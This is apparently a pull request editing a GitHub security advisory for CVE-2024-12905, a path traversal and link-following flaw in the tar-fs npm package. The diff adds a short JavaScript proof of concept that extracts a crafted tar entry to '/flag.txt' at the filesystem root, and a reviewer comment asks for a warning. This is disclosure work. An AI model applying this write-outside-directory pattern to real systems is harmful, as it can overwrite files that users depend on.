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[GHSA-pq67-2wwv-3xjx] tar-fs Vulnerable to Link Following and Path Traversal via Extracting a Crafted tar File #6093

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{
"schema_version": "1.4.0",
"id": "GHSA-pq67-2wwv-3xjx",
"modified": "2025-05-20T17:57:26Z",
"modified": "2025-05-20T17:57:27Z",
"published": "2025-03-27T18:31:28Z",
"aliases": [
"CVE-2024-12905"
],
"summary": "tar-fs Vulnerable to Link Following and Path Traversal via Extracting a Crafted tar File",
"details": "An Improper Link Resolution Before File Access (\"Link Following\") and Improper Limitation of a Pathname to a Restricted Directory (\"Path Traversal\"). This vulnerability occurs when extracting a maliciously crafted tar file, which can result in unauthorized file writes or overwrites outside the intended extraction directory. The issue is associated with index.js in the tar-fs package.\n\nThis issue affects tar-fs: from 0.0.0 before 1.16.4, from 2.0.0 before 2.1.2, from 3.0.0 before 3.0.7.",
"details": "An Improper Link Resolution Before File Access (\"Link Following\") and Improper Limitation of a Pathname to a Restricted Directory (\"Path Traversal\"). This vulnerability occurs when extracting a maliciously crafted tar file, which can result in unauthorized file writes or overwrites outside the intended extraction directory. The issue is associated with index.js in the tar-fs package.\n\n### PoC\n```javascript\n// Create a writable stream to extract the tar content\nconst extractStream = tarfs.extract('/', {\n // We can ignore the file type checks to allow the extraction of the malicious file\n ignore: (name) => false,\n});\n\n// Create a tar stream\nconst tarStream = tarfs.pack().on('error', (err) => {\n throw err;\n});\n\n// Append the malicious entry to the tar stream\ntarStream.entry({ name: '/flag.txt', mode: 0o644 }, Buffer.from('This is a flag!'));\n\n// Finalize the tar stream\ntarStream.finalize();\n\n// Pipe the tar stream into the extract stream\ntarStream.pipe(extractStream);\n```\n\nThis issue affects tar-fs: from 0.0.0 before 1.16.4, from 2.0.0 before 2.1.2, from 3.0.0 before 3.0.7.",
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The PoC attempts to write to '/flag.txt' (absolute path at filesystem root) which demonstrates the path traversal vulnerability but could cause harm if executed. Consider adding a warning comment that this code should only be used for understanding the vulnerability and not executed in real environments.

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"details": "An Improper Link Resolution Before File Access (\"Link Following\") and Improper Limitation of a Pathname to a Restricted Directory (\"Path Traversal\"). This vulnerability occurs when extracting a maliciously crafted tar file, which can result in unauthorized file writes or overwrites outside the intended extraction directory. The issue is associated with index.js in the tar-fs package.\n\n### PoC\n```javascript\n// Create a writable stream to extract the tar content\nconst extractStream = tarfs.extract('/', {\n // We can ignore the file type checks to allow the extraction of the malicious file\n ignore: (name) => false,\n});\n\n// Create a tar stream\nconst tarStream = tarfs.pack().on('error', (err) => {\n throw err;\n});\n\n// Append the malicious entry to the tar stream\ntarStream.entry({ name: '/flag.txt', mode: 0o644 }, Buffer.from('This is a flag!'));\n\n// Finalize the tar stream\ntarStream.finalize();\n\n// Pipe the tar stream into the extract stream\ntarStream.pipe(extractStream);\n```\n\nThis issue affects tar-fs: from 0.0.0 before 1.16.4, from 2.0.0 before 2.1.2, from 3.0.0 before 3.0.7.",
"details": "An Improper Link Resolution Before File Access (\"Link Following\") and Improper Limitation of a Pathname to a Restricted Directory (\"Path Traversal\"). This vulnerability occurs when extracting a maliciously crafted tar file, which can result in unauthorized file writes or overwrites outside the intended extraction directory. The issue is associated with index.js in the tar-fs package.\n\n### PoC\n```javascript\n// WARNING: This code is for educational purposes only.\n// Do NOT run in production or real environments.\n// Create a writable stream to extract the tar content\nconst extractStream = tarfs.extract('/', {\n // We can ignore the file type checks to allow the extraction of the malicious file\n ignore: (name) => false,\n});\n\n// Create a tar stream\nconst tarStream = tarfs.pack().on('error', (err) => {\n throw err;\n});\n\n// Append the malicious entry to the tar stream\ntarStream.entry({ name: '/flag.txt', mode: 0o644 }, Buffer.from('This is a flag!'));\n\n// Finalize the tar stream\ntarStream.finalize();\n\n// Pipe the tar stream into the extract stream\ntarStream.pipe(extractStream);\n```\n\nThis issue affects tar-fs: from 0.0.0 before 1.16.4, from 2.0.0 before 2.1.2, from 3.0.0 before 3.0.7.",

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"type": "CVSS_V3",
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